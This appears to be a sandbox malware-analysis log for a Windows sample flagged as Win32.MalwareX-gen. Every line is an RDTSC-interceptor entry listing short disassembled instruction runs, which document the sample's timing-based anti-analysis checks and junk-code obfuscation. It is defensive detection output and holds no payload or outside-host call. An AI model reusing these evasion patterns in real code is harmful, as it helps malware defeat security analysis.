Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C67AD second address: 7C67B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C7714 second address: 7C7718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C67B1 second address: 7C67CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C78D5 second address: 7C78D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C9659 second address: 7C965D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C965D second address: 7C9661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C885C second address: 7C8867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7CB675 second address: 7CB691 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAC6125CCADh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7C97E3 second address: 7C9808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 je 00007FAC60C4BF26h 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAC60C4BF32h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7CE68D second address: 7CE6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FAC6125CCB1h 0x00000010 push 00000000h 0x00000012 movsx edi, bx 0x00000015 push 00000000h 0x00000017 mov bl, 5Fh 0x00000019 cld 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jnc 00007FAC6125CCACh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7CE6C2 second address: 7CE6DC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAC60C4BF30h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D1891 second address: 7D1895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7CC93C second address: 7CC942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D078A second address: 7D0790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D19D6 second address: 7D19E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF2Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D0790 second address: 7D0796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D3B99 second address: 7D3BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FAC60C4BF2Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, 61F143EDh 0x00000014 mov ebx, dword ptr [ebp+13AB5A05h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e mov edi, ebx 0x00000020 xchg eax, esi 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edi 0x00000024 pop edi 0x00000025 pop eax 0x00000026 pop ebx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D0796 second address: 7D079A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D3BCC second address: 7D3BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D19E5 second address: 7D1A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FAC6125CCB2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jnp 00007FAC6125CCA6h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FAC6125CCA8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c add dword ptr [ebp+13AB2744h], edx 0x00000042 mov eax, dword ptr [ebp+13AB13ADh] 0x00000048 mov bx, C2AAh 0x0000004c push FFFFFFFFh 0x0000004e jns 00007FAC6125CCB5h 0x00000054 nop 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D079A second address: 7D079E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D4A3D second address: 7D4A42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D4A42 second address: 7D4AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FAC60C4BF2Ch 0x0000000d nop 0x0000000e push esi 0x0000000f add dword ptr [ebp+13AB25A1h], eax 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FAC60C4BF28h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 mov bx, F995h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FAC60C4BF34h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D4BBA second address: 7D4BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D4BBE second address: 7D4BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D4BC2 second address: 7D4C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jl 00007FAC6125CCA6h 0x00000010 pop eax 0x00000011 push edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edi 0x00000015 popad 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+13AB22EEh] 0x0000001d jc 00007FAC6125CCACh 0x00000023 mov edi, dword ptr [ebp+13AB1A99h] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov edi, ebx 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov ebx, dword ptr [ebp+13AB3BB5h] 0x0000003f mov eax, dword ptr [ebp+13AB068Dh] 0x00000045 mov dword ptr [ebp+13AB2813h], ecx 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push edx 0x00000050 call 00007FAC6125CCA8h 0x00000055 pop edx 0x00000056 mov dword ptr [esp+04h], edx 0x0000005a add dword ptr [esp+04h], 0000001Bh 0x00000062 inc edx 0x00000063 push edx 0x00000064 ret 0x00000065 pop edx 0x00000066 ret 0x00000067 pushad 0x00000068 mov dword ptr [ebp+13AB18E7h], ecx 0x0000006e movsx ecx, dx 0x00000071 popad 0x00000072 push eax 0x00000073 push esi 0x00000074 push ecx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7D7A93 second address: 7D7AAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC60C4BF2Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7DB4D8 second address: 7DB4FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FAC6125CCA6h 0x00000009 jnc 00007FAC6125CCA6h 0x0000000f popad 0x00000010 push ebx 0x00000011 jmp 00007FAC6125CCB4h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7DFC10 second address: 7DFC14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7DFC14 second address: 7DFC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FAC6125CCA6h 0x0000000f pop eax 0x00000010 popad 0x00000011 jl 00007FAC6125CCB6h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7DF7D6 second address: 7DF7E3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAC60C4BF28h 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7E5359 second address: 7E5364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FAC6125CCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7E5364 second address: 7E5383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FAC60C4BF2Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7E5383 second address: 7E538E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAC6125CCA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7E538E second address: 7E5394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7E5394 second address: 7E5398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7E5398 second address: 7E539C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED9F2 second address: 7ED9F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED9F7 second address: 7EDA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7EC6D9 second address: 7EC6E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ECF3A second address: 7ECF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF33h 0x00000009 jmp 00007FAC60C4BF35h 0x0000000e popad 0x0000000f jne 00007FAC60C4BF2Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77721B second address: 77721F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED24E second address: 7ED262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC60C4BF30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED262 second address: 7ED266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED3E7 second address: 7ED411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF31h 0x00000007 jmp 00007FAC60C4BF35h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED6E9 second address: 7ED6EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED6EF second address: 7ED6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED6FB second address: 7ED6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED86C second address: 7ED89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FAC60C4BF2Bh 0x0000000a jmp 00007FAC60C4BF34h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007FAC60C4BF26h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7ED89D second address: 7ED8A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F264D second address: 7F2653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F2653 second address: 7F265D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F27E6 second address: 7F27F0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC60C4BF2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F2D3D second address: 7F2D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F2D43 second address: 7F2D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F2D47 second address: 7F2D51 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7A1201 second address: 7A1207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7A1207 second address: 7A120C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7704DC second address: 77050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF33h 0x00000007 jmp 00007FAC60C4BF2Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F22AA second address: 7F22B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F22B0 second address: 7F22B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F22B4 second address: 7F22E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FAC6125CCB4h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F22E1 second address: 7F22E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F22E7 second address: 7F231E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FAC6125CCAEh 0x0000000b jmp 00007FAC6125CCB4h 0x00000010 jmp 00007FAC6125CCAEh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77DE00 second address: 77DE0C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC60C4BF26h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F8140 second address: 7F8146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F8407 second address: 7F840D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F840D second address: 7F8413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F87FB second address: 7F8803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F8803 second address: 7F881D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FAC6125CCAFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F881D second address: 7F8828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAC60C4BF26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F8828 second address: 7F882D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F7E80 second address: 7F7E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F7E84 second address: 7F7E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F7E8A second address: 7F7E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F7E93 second address: 7F7EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnp 00007FAC6125CCA6h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
